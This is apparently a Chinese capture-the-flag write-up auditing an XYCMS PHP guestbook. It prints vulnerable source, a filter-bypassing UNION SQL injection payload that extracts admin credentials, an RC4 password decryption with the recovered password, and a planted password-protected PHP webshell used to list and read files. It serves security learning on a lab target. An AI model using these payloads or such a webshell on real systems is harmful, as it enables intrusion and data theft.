打開題目
一個(gè)XYCMS搭建的PHP留言板,據(jù)說是一道代碼審計(jì)。
進(jìn)去后隨便翻翻發(fā)現(xiàn)這個(gè)
點(diǎn)進(jìn)去，然后
一處代碼讀取，默認(rèn)參數(shù)是suanfa.php。讀取一下include.php
<pre>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
$file = $_GET['file'];
if ($file == "" || strstr($file, 'Conf/xycms.inc.php')) {
echo "想多了，數(shù)據(jù)庫信息能讓你看";
exit;
} else {
$cut = strchr($file, "login");
if ($cut == false) {
$data = file_get_contents($file);
$date = htmlspecialchars($data);
echo $date;
} else {
echo "<script>alert('你弄到敏感目錄了')</script>";
}
}
?></pre>
偽代碼讀取，而且發(fā)現(xiàn)存在login目錄。然后發(fā)現(xiàn)其他的幾個(gè)文件，比較重要的有medium.php存在sql注入
<pre><?php
if ($_SERVER['HTTP_USER_AGENT'] != "seclover Browser") {
echo '沒用的！！！';
exit;
}
$id = $_POST['soid'];
include 'Conf/xycms.inc.php';
include 'seclover.php';
include 'filter.php';
$id = seclover($id);
$con = mysql_connect($db_address, $db_user, $db_pass) or die("不能連接到數(shù)據(jù)庫！！" . mysql_error());
mysql_select_db($db_name, $con);
$id = mysql_real_escape_string($id);
$sql = "SELECT * FROM message WHERE display=1 AND id={$id}";
//echo $sql;
$result = mysql_query($sql);
$rs = mysql_fetch_array($result);
echo htmlspecialchars($rs['nice']) . ':
' . filter($rs['say']) . '<br />';
mysql_free_result($result);
//mysql_free_result($file);
mysql_close($con);
?> </pre>
seclover.php過濾規(guī)則
<pre><?php
function seclover($content)
{
$keyword = array("select", "union", "and", "from", ' ', "'", ";", '"', "char", "or", "count", "master", "name", "pass", "admin", "+", "-", "order", "=");
$info = strtolower($content);
for ($i = 0; $i <= count($keyword); $i++) {
$info = str_replace($keyword[$i], '', $info);
}
return $info;
}</pre>
所以可以利用搜索功能進(jìn)行注入，由于medium.php對UA進(jìn)行驗(yàn)證所以抓包改一下UA得到：
根據(jù)過濾規(guī)則可以用ununionion的方式繞過關(guān)鍵字的過濾，用/**/注釋繞過空格的過濾。
<pre>soid=1//aandnd//1>2//ununionion//selselectect//1,2,3,group_concat(usernanameme,userpapassss)//frfromom//adadminmin//limit/**/0,1</pre>
得到
密碼是加密過的，然后想到之前的suanfa.php
<pre><?php
base64_encode(rc4($content, "yangrong"));
function rc4($data, $pwd)
{
$cipher = "";
$key[] = "";
$box[] = "";
$pwd_length = strlen($pwd);
$data_length = strlen($data);
for ($i = 0; $i < 256; $i++) {
$key[$i] = ord($pwd[$i % $pwd_length]);
$box[$i] = $i;
}
for ($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $key[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for ($a = $j = $i = 0; $i < $data_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$k = $box[($box[$a] + $box[$j]) % 256];
$cipher .= chr(ord($data[$i]) ^ $k);
}
return $cipher;
}</pre>
先將密碼進(jìn)行rc4加密，然后再進(jìn)行b64加密。
而rc4的解密方法就是將加密后的字符串再加密一次，所以只需要簡單修改一下加密算法：
echo rc4(base64_decode('Cj7+2VxVao1/S5YESfmKwcA='),'yangrong');得到密碼：
helloevery1.2.3.4
然后登錄后臺(tái)得到：
然后讀取馬的內(nèi)容：
<pre><?php
$pwd = "cmd00";
if (isset($_POST[$pwd]) && !empty($_POST[$pwd])) {
$cmd = $_POST['cmd'];
$path = $_POST['path'];
switch ($cmd) {
case 'ls':
echo @FileTreeCode($path);
break;
case 'cat':
echo @file_get_contents($path);
break;
default:
die('Command Not Found Or No Permission!');
break;
}
}
function FileTreeCode($D)
{
$ret = "";
$F = @opendir($D);
if ($F == NULL) {
$ret = "ERROR:// Path Not Found Or No Permission!";
} else {
$M = NULL;
$L = NULL;
while ($N = @readdir($F)) {
$P = $D . "/" . $N;
$T = @date("Y-m-d H:i:s", @filemtime($P));
@($E = substr(base_convert(@fileperms($P), 10, 8), -4));
$R = "\t" . $T . "\t" . @filesize($P) . "\t" . $E . "\n";
if (@is_dir($P)) {
$M .= $N . "/" . $R;
} else {
$L .= $N . $R;
}
}
$ret .= $M . $L;
@closedir($F);
}
return $ret;
}</pre>
構(gòu)造請求：
得到flag文件 ，然后利用cat輸出flag：
